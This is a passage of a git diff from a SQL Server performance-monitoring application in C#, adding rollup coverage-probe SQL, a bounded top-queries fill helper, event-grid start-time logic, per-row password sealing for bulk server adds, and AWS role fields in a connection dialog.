@@ -13345,6 +15214,8 @@ public readonly record struct RollupAvailability(
         TimescaleSupport.QueryStatsIntervalDailyView => QueryGrainIntervalDaily,
         TimescaleSupport.ProcedureStatsIntervalDailyView => ProcedureGrainIntervalDaily,
         TimescaleSupport.QueryStatsDbIntervalDailyView => DbGrainIntervalDaily,
+        TimescaleSupport.QueryStatsIoHourlyView => QueryGrainIoHourly,
+        TimescaleSupport.ProcedureStatsIoHourlyView => ProcedureGrainIoHourly,
         _ => false,
     };
 }
@@ -13529,6 +15400,117 @@ public string HourlyRelationFor(string legacyHourly, DateTime windowStartUtc)
     public string HourlyRelationNameFor(string legacyHourly, DateTime windowStartUtc) =>
         HourlyRelationFor(legacyHourly, windowStartUtc);
 
+    /// <summary>
+    /// #5329: the materialization ceiling of the relation that serves the END of an hourly window over
+    /// <paramref name="legacyHourly"/>: the successor when the read is stitched (the successor serves everything from
+    /// the stitch floor on), otherwise the one relation <see cref="HourlyRelationNameFor"/> names. Null when that
+    /// relation has no measured ceiling (nothing materialized, or an unknown coverage), which means no bound. The one
+    /// rule every hourly reader shares: the service's MCP reads and the Viewer's grids bind a bucket below this value,
+    /// so a bucket the rollup has not finished is never read.
+    /// </summary>
+    public DateTime? HourlyEndCeiling(string legacyHourly, DateTime windowStartUtc)
+    {
+        var relation = StitchFloor(legacyHourly, StitchTier.Hourly, windowStartUtc) is not null
+            ? TimescaleSupport.SuccessorOf(legacyHourly)!
+            : HourlyRelationNameFor(legacyHourly, windowStartUtc);
+        return CeilingOf(relation);
+    }
+
+    /// <summary>
+    /// The hourly tier's per-server coverage probe when the read is stitched: the first bucket the ranked read's
+    /// window actually holds for this server. A stitched <c>UNION ALL</c> cannot give an ordered first row (the
+    /// planner cannot merge-append it in order, so <c>ORDER BY ... LIMIT 1</c> over it sorts every row the server
+    /// has), so the probe splits at the stitch floor F, the same F <see cref="StitchedRelationSql"/>
+    /// uses (<see cref="StitchFloor"/> is documented to agree with it exactly). The legacy relation
+    /// only holds rows below F, so the first bucket of the stitch is <c>least()</c> of the legacy relation's first
+    /// bucket below F and the successor's first bucket from F; <c>least()</c> ignores a null half. Each half is an
+    /// ordered <c>LIMIT 1</c> over one relation. $1 server_id, $2/$3 window (naive UTC), $4 F (naive UTC).
+    /// Null when the server has no bucket in the window. <c>$LEGACY$</c> and <c>$SUCCESSOR$</c> are relation names.
+    /// #5329: moved here from the service's reader so the Viewer's grids and the MCP tools run ONE copy of the probe
+    /// (the start edge is per server on both). The window end is EXCLUSIVE (<c>bucket &lt; $3</c>), as the grids' is: the first bucket
+    /// names the start of the rows the grid read, so a server whose only bucket is the one that begins AT the end has no start
+    /// (its grid is empty).
+    /// </summary>
+    public const string HourlyFirstBucketSql =
+        "SELECT least(" +
+        "(SELECT f.bucket FROM collect.$LEGACY$ AS f WHERE f.server_id = $1 AND f.bucket >= $2 AND f.bucket < $4 AND f.bucket < $3$CEIL$ ORDER BY f.bucket LIMIT 1), " +
+        "(SELECT f.bucket FROM collect.$SUCCESSOR$ AS f WHERE f.server_id = $1 AND f.bucket >= $4 AND f.bucket >= $2 AND f.bucket < $3$CEIL$ ORDER BY f.bucket LIMIT 1))";
+
+    /// <summary>
+    /// The coverage probe when <see cref="StitchFloor"/> answers null: the window is served by ONE
+    /// relation, and <c>$FROM$</c> is replaced with the exact single-relation splice
+    /// <see cref="StitchedRelationSql"/> returns. <c>ORDER BY ... LIMIT 1</c> stops at the first
+    /// bucket. Never used over a stitch (a <c>UNION ALL</c> cannot be read in order; see
+    /// <see cref="HourlyFirstBucketSql"/>). $1 server_id, $2/$3 window (naive UTC).
+    /// </summary>
+    public const string HourlyFirstBucketSingleRelationSql =
+        "SELECT f.bucket FROM $FROM$ WHERE f.server_id = $1 AND f.bucket >= $2 AND f.bucket < $3$CEIL$ ORDER BY f.bucket LIMIT 1";
+
+    /// <summary>The placeholder <see cref="HourlyFirstBucketSingleRelationSql"/> (and the service's hourly top-N
+    /// statements) carry where the FROM splice goes.</summary>
+    public const string HourlyFromPlaceholder = "$FROM$";
+
+    /// <summary>Where the hourly reads carry the materialization-ceiling bound. Replaced with
+    /// <see cref="HourlyCeilingClause"/> when the ceiling is known and with the empty string when it is not.</summary>
+    public const string HourlyCeilingPlaceholder = "$CEIL$";
+
+    /// <summary>The ceiling bound: a bucket at or after the relation's materialization ceiling is never read, so
+    /// "nothing after the ceiling was read" holds by construction. <paramref name="ordinal"/> is the bound
+    /// parameter's position; the value is bound, never computed in SQL.</summary>
+    public static string HourlyCeilingClause(int ordinal) => " AND f.bucket < $" + ordinal.ToString(CultureInfo.InvariantCulture);
+
+    /// <summary>Runs the coverage probe for <paramref name="legacy"/>'s hourly tier: two ordered first-row probes
+    /// split at the stitch floor when the read is stitched (<see cref="HourlyFirstBucketSql"/>), one probe when a
+    /// single relation serves the window (<see cref="HourlyFirstBucketSingleRelationSql"/>). It is per SERVER: the
+    /// first bucket THIS server holds in the window, which is what a window that starts before the server was added
+    /// needs (the store-wide floor belongs to the oldest server). Null when the server has no bucket in the window.
+    /// The single seam the service's MCP reads and the Viewer's grids share (#5329).</summary>
+    public async Task<DateTime?> GetHourlyFirstBucketAsync(
+        NpgsqlDataSource dataSource, string legacy, int serverId, DateTime startUtc, DateTime endUtc,
+        DateTime? ceiling, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var floor = StitchFloor(legacy, StitchTier.Hourly, startUtc);
+        string sql;
+        if (floor is null)
+        {
+            var splice = StitchedRelationSql(legacy, "f", startUtc, StitchTier.Hourly);
+            if (splice.Contains("UNION", StringComparison.OrdinalIgnoreCase))
+            {
+                throw new InvalidOperationException(
+                    "The hourly coverage probe found a stitched relation where StitchFloor answered a single one.");
+            }
+
+            sql = HourlyFirstBucketSingleRelationSql
+                .Replace(HourlyFromPlaceholder, splice, StringComparison.Ordinal)
+                .Replace(HourlyCeilingPlaceholder, ceiling is null ? "" : HourlyCeilingClause(4), StringComparison.Ordinal);
+        }
+        else
+        {
+            sql = HourlyFirstBucketSql
+                .Replace(HourlyCeilingPlaceholder, ceiling is null ? "" : HourlyCeilingClause(5), StringComparison.Ordinal)
+                .Replace("$LEGACY$", legacy, StringComparison.Ordinal)
+                .Replace("$SUCCESSOR$", TimescaleSupport.SuccessorOf(legacy)!, StringComparison.Ordinal);
+        }
+
+        await using var command = dataSource.CreateCommand(sql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(startUtc, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified) });
+        if (floor is not null)
+        {
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(floor.Value, DateTimeKind.Unspecified) });
+        }
+
+        if (ceiling is not null)
+        {
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(ceiling.Value, DateTimeKind.Unspecified) });
+        }
+
+        var value = await command.ExecuteScalarAsync(cancellationToken);
+        return value is DateTime bucket ? bucket : null;
+    }
+
     /// <summary>Nothing measured — every lookup answers null, so the router keeps its pre-#1759 behaviour.
     /// The safe answer for a store with no rollups AND for a probe that failed.</summary>
     public static RollupCoverage Unknown { get; } = new(
diff --git a/Darling/PerformanceMonitor.Darling.Storage/TopFill.cs b/Darling/PerformanceMonitor.Darling.Storage/TopFill.cs
new file mode 100644
index 0000000000..01506c2f46
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/TopFill.cs
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data.Common;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// #5313: the bounded fill behind the Top Queries reads. Those statements rank candidate groups, look up each
+/// one's latest text and drop the WAITFOR shells, then cap at <c>top</c>. A fixed over-fetch of five covers up
+/// to five shells; a window whose top groups hold more of them (a WAITFOR runs long and costs almost no CPU, so
+/// a duration ranking puts them high) returned a short page. This asks again with a larger candidate limit while
+/// the page is short AND the last round filled its whole candidate limit (so more candidates may exist), up to a
+/// hard bound.
+/// <para><b>The bound.</b> At most <see cref="MaxRounds"/> rounds, and the candidate limit never passes
+/// <c>top + </c><see cref="MaxExtraCandidates"/>. Round one is exactly the old statement (<c>top + 5</c>), so a
+/// read that was already full costs what it did; the fill only adds rounds when a page came back short while the
+/// candidates had not run out, and the worst case is three runs of the old shape.</para>
+/// <para><b>Exhaustion.</b> Each round reports how many candidates pass 1 produced. Fewer than asked for means
+/// the window has no more, so the short page is the whole answer. The count rides on its own row, not on the page
+/// rows (<see cref="ReadPageAsync{T}"/>): a round whose candidates were ALL trimmed (every one a WAITFOR statement)
+/// returns no page row, and used to read as exhausted, so the list came back empty although more candidates existed.
+/// Each statement now ends <c>SELECT p.*, c.candidate_count FROM (count) AS c LEFT JOIN page AS p ON TRUE</c>, so
+/// there is always one row; <c>page_ord</c> (the page's last column, before <c>candidate_count</c>) is NULL on the
+/// row that carries only the count.</para>
+/// </summary>
+public static class TopFill
+{
+    /// <summary>Round one's over-fetch, the value the statements used before the fill (#5313).</summary>
+    public const int FirstExtra = 5;
+
+    /// <summary>Most rounds one read may run, the first included.</summary>
+    public const int MaxRounds = 3;
+
+    /// <summary>Each later round asks for this many times the previous candidate limit.</summary>
+    public const int Growth = 4;
+
+    /// <summary>The candidate limit never passes <c>top + MaxExtraCandidates</c>.</summary>
+    public const int MaxExtraCandidates = 200;
+
+    /// <summary>The first round's candidate limit.</summary>
+    public static int FirstCandidates(int top) => Clamp((long)top + FirstExtra);
+
+    /// <summary>
+    /// The next round's candidate limit, or null when the page is done: it holds <paramref name="top"/> rows,
+    /// the last round did not fill its candidate limit (the candidates ran out), the round bound is reached, or
+    /// the limit cannot grow any further.
+    /// </summary>
+    /// <param name="top">Rows the caller asked for.</param>
+    /// <param name="round">The round just run, 1-based.</param>
+    /// <param name="candidates">The candidate limit that round ran with.</param>
+    /// <param name="returned">Rows that round returned after the WAITFOR trim.</param>
+    /// <param name="candidateCount">How many candidates pass 1 produced, as the round reported it (0 when it found none).</param>
+    public static int? NextCandidates(int top, int round, int candidates, int returned, int candidateCount)
+    {
+        if (returned >= top || round >= MaxRounds || candidateCount < candidates)
+        {
+            return null;
+        }
+
+        var cap = Clamp((long)top + MaxExtraCandidates);
+        var next = Math.Min(cap, Clamp((long)candidates * Growth));
+        return next > candidates ? next : null;
+    }
+
+    /// <summary>
+    /// Runs <paramref name="round"/> with each candidate limit in turn and returns the last round's rows. The
+    /// delegate returns that round's rows and its candidate count (<see cref="NextCandidates"/>).
+    /// </summary>
+    public static async Task<List<T>> RunAsync<T>(int top, Func<int, Task<(List<T> Rows, int CandidateCount)>> round)
+    {
+        ArgumentNullException.ThrowIfNull(round);
+        var candidates = FirstCandidates(top);
+        for (var n = 1; ; n++)
+        {
+            var (rows, candidateCount) = await round(candidates).ConfigureAwait(false);
+            var next = NextCandidates(top, n, candidates, rows.Count, candidateCount);
+            if (next is null)
+            {
+                return rows;
+            }
+
+            candidates = next.Value;
+        }
+    }
+
+    /// <summary>
+    /// Reads one round's result: every row whose <paramref name="pageOrdinal"/> column (<c>page_ord</c>) is not NULL
+    /// is a page row, mapped by <paramref name="map"/>; the column right after it is <c>candidate_count</c>, which
+    /// every row carries, the count-only row included (so a round whose page was trimmed to nothing still reports it).
+    /// </summary>
+    public static async Task<(List<T> Rows, int CandidateCount)> ReadPageAsync<T>(
+        DbDataReader reader, int pageOrdinal, Func<DbDataReader, T> map, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(reader);
+        ArgumentNullException.ThrowIfNull(map);
+        var rows = new List<T>();
+        var candidateCount = 0;
+        while (await reader.ReadAsync(cancellationToken).ConfigureAwait(false))
+        {
+            candidateCount = reader.IsDBNull(pageOrdinal + 1)
+                ? 0
+                : Convert.ToInt32(reader.GetValue(pageOrdinal + 1), CultureInfo.InvariantCulture);
+            if (!reader.IsDBNull(pageOrdinal))
+            {
+                rows.Add(map(reader));
+            }
+        }
+
+        return (rows, candidateCount);
+    }
+
+    private static int Clamp(long value) => (int)Math.Min(value, int.MaxValue);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/ViewerEventDataStart.cs b/Darling/PerformanceMonitor.Darling.Storage/ViewerEventDataStart.cs
new file mode 100644
index 0000000000..2b7c5ae863
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/ViewerEventDataStart.cs
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// Where an EVENT surface says its data starts (#4966). Blocked process reports, deadlocks and the other grids that
+/// list events filter on the event's own time, and a server's first collection stores the server's event history, so
+/// a row can carry an event time from before the server was added. The shared probe
+/// (<see cref="DataWindowFloor"/>) answers where the collector's COVERAGE starts:
+/// the later of the server's first collection and the table's retention edge. A notice that named only that would name
+/// a time later than the earliest row the grid shows, and read as a cut where history reaches further back.
+///
+/// <para>So the notice names the earlier of the coverage start and the earliest event the grid shows. A grid whose
+/// history reaches the range's start then names a time at or before it, and the banner stays hidden; a quiet start
+/// (the store covered the range, but the first event came late) still names the coverage, which is at or before the
+/// range's start, and stays hidden too.</para>
+/// </summary>
+public static class ViewerEventDataStart
+{
+    /// <summary>
+    /// The instant an event surface's "Showing since" notice names: <paramref name="coverageStartUtc"/>, or the earliest
+    /// event the grid shows (<paramref name="earliestShownUtc"/>) when that is earlier.
+    ///
+    /// <para>The probe answers one of three ways, and they are not the same. It found coverage
+    /// (<paramref name="coverageStartUtc"/> set): the rule above. It found NONE in the window
+    /// (<paramref name="coverageStartUtc"/> null: the range ends before the server's first collection, or the collector never
+    /// ran in it), yet the grid can still list history, because an event carries its own time and a server's first collection
+    /// stores the events that came before it: the notice names the earliest event shown, and the notice's own check
+    /// (<see cref="RawWindowFloor.IsTruncated"/>) raises it only when that comes later than
+    /// the range's start by more than the slack. Or it FAILED (<paramref name="probeFailed"/>): the store could not vouch
+    /// for anything, so the notice names nothing, and the grid's own first row does not stand in for the coverage.</para>
+    ///
+    /// <para>A read that hit its row cap (<paramref name="readHitCap"/>, see <see cref="ReadHitCap"/>) returns the newest
+    /// rows and stops, so the grid does not reach back further than its oldest row, whatever the store covers: the
+    /// notice names that row. It comes from the rows themselves, so it needs no answer from the probe. A grid fed by
+    /// several reads can hold fewer rows than its cap while one of its reads filled its own: that read's oldest row
+    /// (<paramref name="cappedSourceOldestUtc"/>, see <see cref="CappedSourceStart"/>) bounds the grid the same way,
+    /// and when both name one the later wins, since the grid is complete only from there. A read that stayed under its
+    /// cap keeps the rule above.</para>
+    /// </summary>
+    public static DateTime? Of(
+        DateTime? coverageStartUtc, DateTime? earliestShownUtc, bool readHitCap = false, bool probeFailed = false, DateTime? cappedSourceOldestUtc = null)
+    {
+        var capStart = readHitCap && earliestShownUtc is DateTime oldest ? oldest : (DateTime?)null;
+        if (cappedSourceOldestUtc is DateTime sourceOldest && (capStart is not DateTime named || sourceOldest > named))
+        {
+            capStart = sourceOldest;
+        }
+
+        if (capStart is not null)
+        {
+            return capStart;
+        }
+
+        if (probeFailed)
+        {
+            return null;
+        }
+
+        return coverageStartUtc is not DateTime coverage
+            ? earliestShownUtc
+            : earliestShownUtc is DateTime shown && shown < coverage ? shown : coverage;
+    }
+
+    /// <summary>
+    /// Where a grid fed by several newest-first reads, each with its own <paramref name="rowCap"/>, is complete from: the
+    /// later of the oldest rows of the reads that filled their cap, or null when none did. A merge can leave fewer rows
+    /// than the cap while one read stopped at its own (the rows another read already holds, or its own repeats within a
+    /// minute, drop out), so the merged count never shows it; the older rows of that read are missing all the same. Rows with
+    /// no event time never name a start.
+    /// </summary>
+    public static DateTime? CappedSourceStart(int rowCap, params IReadOnlyCollection<DateTime?>[] sourceEventTimesUtc)
+    {
+        ArgumentNullException.ThrowIfNull(sourceEventTimesUtc);
+
+        DateTime? start = null;
+        foreach (var source in sourceEventTimesUtc)
+        {
+            if (ReadHitCap(source.Count, rowCap) && EarliestOf(source) is DateTime oldest && (start is null || oldest > start))
+            {
+                start = oldest;
+            }
+        }
+
+        return start;
+    }
+
+    /// <summary>
+    /// True when a read that keeps its newest <paramref name="rowCap"/> rows returned that many: it may have left older
+    /// rows out, so the grid's oldest row is where its data starts. A read with no cap (<paramref name="rowCap"/> null)
+    /// never hits one.
+    /// </summary>
+    public static bool ReadHitCap(int shownRowCount, int? rowCap) => rowCap is int cap && shownRowCount >= cap;
+
+    /// <summary>The earliest of <paramref name="eventTimesUtc"/>, ignoring the rows that carry no event time; null when none does.</summary>
+    public static DateTime? EarliestOf(IEnumerable<DateTime?> eventTimesUtc)
+    {
+        ArgumentNullException.ThrowIfNull(eventTimesUtc);
+
+        DateTime? earliest = null;
+        foreach (var time in eventTimesUtc)
+        {
+            if (time is DateTime t && (earliest is null || t < earliest))
+            {
+                earliest = t;
+            }
+        }
+
+        return earliest;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs
index a5bf4fdb77..0c1a5136b6 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs
@@ -24,8 +24,8 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// block, optionally probe every server through the service, and write all non-duplicate rows to
 /// <c>config.config_monitored_servers</c> via <see cref="ViewerDataService.AddMonitoredServerAsync"/>, which never
 /// overwrites a different server that hashes to the same <c>server_id</c> (#4789).
-/// The shared credential is resolved ONCE (one <see cref="ViewerServerSecret.Protect"/> call) and the same DPAPI
-/// blob is stamped onto every row — the Darling service has no store-side profile concept, so a picked profile
+/// The shared credential is resolved ONCE and each row seals the password for its own connection settings (#5366);
+/// the Darling service has no store-side profile concept, so a picked profile
 /// is resolved to concrete creds here (the asymmetry vs Lite, which mints one shared profile). The four auth
 /// modes the service honors are offered (Windows / SQL / Service Principal / Managed Identity, or a profile of
 /// one of them); Test All runs SEQUENTIALLY through the
@@ -55,6 +55,20 @@ public partial class AddMultipleServersDialog : Window
     private HashSet<string> _existingKeys = new(StringComparer.OrdinalIgnoreCase);
 
     private bool _testRunning;
+
+    /// <summary>One sealed value per row, so the test of a row and its save store the same text (#5366).</summary>
+    private readonly Dictionary<int, ViewerSealCache> _sealCaches = [];
+
+    private ViewerSealCache SealCacheFor(BulkServerParseLine line)
+    {
+        if (!_sealCaches.TryGetValue(line.LineNumber, out var cache))
+        {
+            cache = new ViewerSealCache();
+            _sealCaches[line.LineNumber] = cache;
+        }
+
+        return cache;
+    }
     private bool _cancelTest;
 
     /// <summary>Number of servers actually written (the caller reloads when &gt; 0).</summary>
@@ -235,6 +249,18 @@ private async void TestAllButton_Click(object sender, RoutedEventArgs e)
             return;
         }
 
+        var (sealer, sealError, sealNotice) = await ResolveSealerAsync(shared);
+        if (sealError is not null)
+        {
+            StatusText.Text = sealError;
+            return;
+        }
+
+        if (sealNotice is not null)
+        {
+            StatusText.Text = sealNotice;
+        }
+
         _testRunning = true;
         _cancelTest = false;
         PasteBox.IsEnabled = false;
@@ -259,7 +285,7 @@ private async void TestAllButton_Click(object sender, RoutedEventArgs e)
                 }
                 if (row.ParsedLine is null) continue;
 
-                var (testServer, buildError) = BuildTestConnectServer(row.ParsedLine, shared);
+                var (testServer, buildError) = BuildTestConnectServer(row.ParsedLine, shared, sealer, SealCacheFor(row.ParsedLine));
                 if (testServer is null)
                 {
                     row.Status = "Failed: " + buildError;
@@ -293,7 +319,8 @@ private async void TestAllButton_Click(object sender, RoutedEventArgs e)
             AddButton.IsEnabled = writable;
             TestAllButton.IsEnabled = writable;
             CancelTestButton.Visibility = Visibility.Collapsed;
-            StatusText.Text = _cancelTest ? "Connection test canceled." : "Connection test complete.";
+            StatusText.Text = (_cancelTest ? "Connection test canceled." : "Connection test complete.")
+                + (sealNotice is null ? "" : " " + sealNotice);
         }
     }
 
@@ -313,13 +340,25 @@ private async void AddButton_Click(object sender, RoutedEventArgs e)
             return;
         }
 
-        // Resolve the shared credential ONCE (one Protect call) — the same DPAPI blob is stamped on every row.
+        // Resolve the shared credential ONCE; each row seals the password for its own connection settings.
         if (!TryResolveSharedCredential(out var shared, out var credError))
         {
             StatusText.Text = credError;
             return;
         }
 
+        var (sealer, sealError, sealNotice) = await ResolveSealerAsync(shared);
+        if (sealError is not null)
+        {
+            StatusText.Text = sealError;
+            return;
+        }
+
+        if (sealNotice is not null)
+        {
+            StatusText.Text = sealNotice;
+        }
+
         try
         {
             AddButton.IsEnabled = false;
@@ -343,7 +382,7 @@ private async void AddButton_Click(object sender, RoutedEventArgs e)
 
             foreach (var line in result.Servers)
             {
-                var (row, buildError) = BuildMonitoredServerRow(line, shared);
+                var (row, buildError) = BuildMonitoredServerRow(line, shared, sealer, SealCacheFor(line));
                 if (row is null)
                 {
                     failed++;
@@ -467,8 +506,8 @@ private void CancelButton_Click(object sender, RoutedEventArgs e)
         _ => "Optional"
     };
 
-    /// <summary>Resolves the chosen credential source ONCE into the store's (auth type, username, DPAPI blob) —
-    /// <see cref="ViewerServerSecret.Protect"/> is called exactly once and the blob is reused for every row.
+    /// <summary>Resolves the chosen credential source ONCE into the shared (auth type, username, password) — each row
+    /// then seals that password for its own connection settings (<see cref="BuildMonitoredServerRow"/>).
     /// A picked profile is resolved to its concrete secret (the Darling store keeps no profile table); an
     /// Azure/Entra profile the service can't honor is blocked here.</summary>
     private bool TryResolveSharedCredential(out BulkSharedSettings shared, out string? error)
@@ -522,7 +561,7 @@ never stored. */
             {
                 AuthType = profile.AuthType,
                 Username = string.IsNullOrWhiteSpace(secret.Value.Username) ? profile.Username : secret.Value.Username,
-                EncryptedPassword = ViewerServerSecret.Protect(secret.Value.Password),
+                Secret = secret.Value.Password,
                 EncryptMode = encryptMode,
                 TrustServerCertificate = trustCert,
             };
@@ -538,7 +577,7 @@ never stored. */
         if (ServicePrincipalAuthRadio.IsChecked == true)
         {
             /* #3484: one Entra service principal (client id + secret) stamped on every pasted row — the tenant is
-               resolved per target by the driver. The secret is stored in the same DPAPI blob shape as SQL. */
+               resolved per target by the driver. The secret is sealed the same way as a SQL password. */
             var clientId = AzureClientIdBox.Text.Trim();
             if (string.IsNullOrEmpty(clientId)) { error = "The Application (client) ID is required for service-principal authentication."; return false; }
             var secret = AzureClientSecretBox.Password;
@@ -547,7 +586,7 @@ resolved per target by the driver. The secret is stored in the same DPAPI blob s
             {
                 AuthType = AuthenticationTypes.ServicePrincipal,
                 Username = clientId,
-                EncryptedPassword = ViewerServerSecret.Protect(secret),
+                Secret = secret,
                 EncryptMode = encryptMode,
                 TrustServerCertificate = trustCert,
             };
@@ -579,7 +618,7 @@ a system-assigned identity leaves it blank. */
         {
             AuthType = AuthenticationTypes.SqlServer,
             Username = username,
-            EncryptedPassword = ViewerServerSecret.Protect(typed),
+            Secret = typed,
             EncryptMode = encryptMode,
             TrustServerCertificate = trustCert,
         };
@@ -590,7 +629,8 @@ a system-assigned identity leaves it blank. */
     /// upsert shape). REJECTS an auth the Darling service can't honor via <see cref="ServerStoreCredential.MapAuth"/>
     /// (the belt — the trimmed radios never offer Azure, but a profile could resolve to one). A blank/whitespace
     /// database maps to NULL, NEVER "master" (coercing would mint a mismatched server_id and split collected data).</summary>
-    internal static (MonitoredServerRow? Row, string? Error) BuildMonitoredServerRow(BulkServerParseLine line, BulkSharedSettings shared)
+    internal static (MonitoredServerRow? Row, string? Error) BuildMonitoredServerRow(
+        BulkServerParseLine line, BulkSharedSettings shared, ViewerPasswordSealer? sealer = null, ViewerSealCache? cache = null)
     {
         var mapped = ServerStoreCredential.MapAuth(shared.AuthType);
         if (mapped is null)
@@ -610,7 +650,6 @@ internal static (MonitoredServerRow? Row, string? Error) BuildMonitoredServerRow
             Database = database,
             Auth = mapped,
             Username = shared.Username,
-            EncryptedPassword = shared.EncryptedPassword,
             EncryptMode = shared.EncryptMode,
             TrustServerCertificate = shared.TrustServerCertificate,
             ReadOnlyIntent = false,
@@ -618,14 +657,46 @@ internal static (MonitoredServerRow? Row, string? Error) BuildMonitoredServerRow
             MonthlyCostUsd = 0m,
             IsEnabled = true,
         };
+
+        if (!string.IsNullOrEmpty(shared.Secret))
+        {
+            if (sealer is null)
+            {
+                return (null, ViewerPasswordKey.NoKeyText);
+            }
+
+            try
+            {
+                row.EncryptedPassword = cache is null ? sealer.Seal(shared.Secret, row) : cache.GetOrSeal(sealer, shared.Secret, row);
+            }
+            catch (ViewerPasswordRefusedException ex)
+            {
+                return (null, ex.Message);
+            }
+        }
+
         return (row, null);
     }
 
+    /// <summary>Reads the key the shared password is sealed with, once for the whole batch. No key is read when the
+    /// shared credential carries no password.</summary>
+    private async Task<(ViewerPasswordSealer? Sealer, string? Error, string? Notice)> ResolveSealerAsync(BulkSharedSettings shared)
+    {
+        if (string.IsNullOrEmpty(shared.Secret) || _dataService is null)
+        {
+            return (null, null, null);
+        }
+
+        var key = await ViewerPasswordKey.GetSealKeyAsync(_dataService, this);
+        return key.Sealer is null ? (null, key.Refusal, null) : (key.Sealer, null, key.Notice);
+    }
+
     /// <summary>Maps one parsed row + the shared settings into a <see cref="TestConnectServer"/> for the probe —
     /// the same fields as the store row (single source of truth via <see cref="BuildMonitoredServerRow"/>).</summary>
-    internal static (TestConnectServer? Server, string? Error) BuildTestConnectServer(BulkServerParseLine line, BulkSharedSettings shared)
+    internal static (TestConnectServer? Server, string? Error) BuildTestConnectServer(
+        BulkServerParseLine line, BulkSharedSettings shared, ViewerPasswordSealer? sealer = null, ViewerSealCache? cache = null)
     {
-        var (row, error) = BuildMonitoredServerRow(line, shared);
+        var (row, error) = BuildMonitoredServerRow(line, shared, sealer, cache);
         if (row is null)
         {
             return (null, error);
@@ -772,13 +843,12 @@ public string Status
 
 /// <summary>The one shared auth/encryption block applied to every bulk row. <see cref="AuthType"/> is the
 /// viewer <see cref="AuthenticationTypes"/> value (mapped to the store's <c>auth</c> by the mapping helper);
-/// <see cref="EncryptedPassword"/> is the single DPAPI blob (<see cref="ViewerServerSecret.Protect"/> called
-/// once) stamped onto every row.</summary>
+/// <see cref="Secret"/> is the one password every row seals for its own connection settings.</summary>
 internal sealed class BulkSharedSettings
 {
     public string AuthType { get; init; } = AuthenticationTypes.Windows;
     public string? Username { get; init; }
-    public string? EncryptedPassword { get; init; }
+    public string? Secret { get; init; }
     public string EncryptMode { get; init; } = "Mandatory";
     public bool TrustServerCertificate { get; init; }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml b/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml
index 1835e8ed82..714cafa371 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml
@@ -85,6 +85,23 @@
             </StackPanel>
             <TextBlock TextWrapping="Wrap" Foreground="{DynamicResource ForegroundMutedBrush}" FontSize="11"
                        Text="PostgreSQL targets connect with username/password authentication. The Database box below is optional — blank connects to the maintenance database ('postgres'), which the cluster-wide collectors read from. Encryption maps to sslmode: Optional → prefer; Mandatory/Strict → verify-full, or require when 'Trust server certificate' is checked (typically needed for Aurora)."/>
+
+            <!-- #5452: the per-server AWS role, for an Amazon RDS or Aurora target the service reaches by assuming a
+                 role. Blank = the service's own credentials. Clearing the box on an edit clears the stored role. -->
+            <StackPanel Orientation="Horizontal" Margin="0,8,0,4">
+                <TextBlock Text="AWS role ARN:" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center" Width="110"/>
+                <TextBox x:Name="AwsRoleBox" Width="360"
+                         ToolTip="Optional. The IAM role the service assumes to reach this target, such as arn:aws:iam::123456789012:role/darling-monitor. Blank uses the service's own AWS credentials."/>
+            </StackPanel>
+            <StackPanel Orientation="Horizontal" Margin="0,0,0,4">
+                <TextBlock Text="External ID:" Foreground="{DynamicResource ForegroundBrush}" VerticalAlignment="Center" Width="110"/>
+                <PasswordBox x:Name="AwsExternalIdBox" Width="360"
+                             ToolTip="Optional. The external ID the role's trust policy asks for. Needs a role ARN. When one is set, leave this blank to keep it."/>
+                <CheckBox x:Name="AwsClearExternalIdBox" Content="Clear external ID" Margin="10,0,0,0" VerticalAlignment="Center"
+                          ToolTip="Removes the stored external ID. Leave unchecked to keep it."/>
+            </StackPanel>
+            <TextBlock x:Name="AwsExternalIdState" TextWrapping="Wrap" Foreground="{DynamicResource ForegroundMutedBrush}" FontSize="11" Margin="110,0,0,4"/>
+            <TextBlock x:Name="AwsRoleNote" TextWrapping="Wrap" Foreground="{DynamicResource ForegroundMutedBrush}" FontSize="11"/>
         </StackPanel>
 
         <!-- Authentication. The credential source is either inline per-server auth or a shared credential
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs
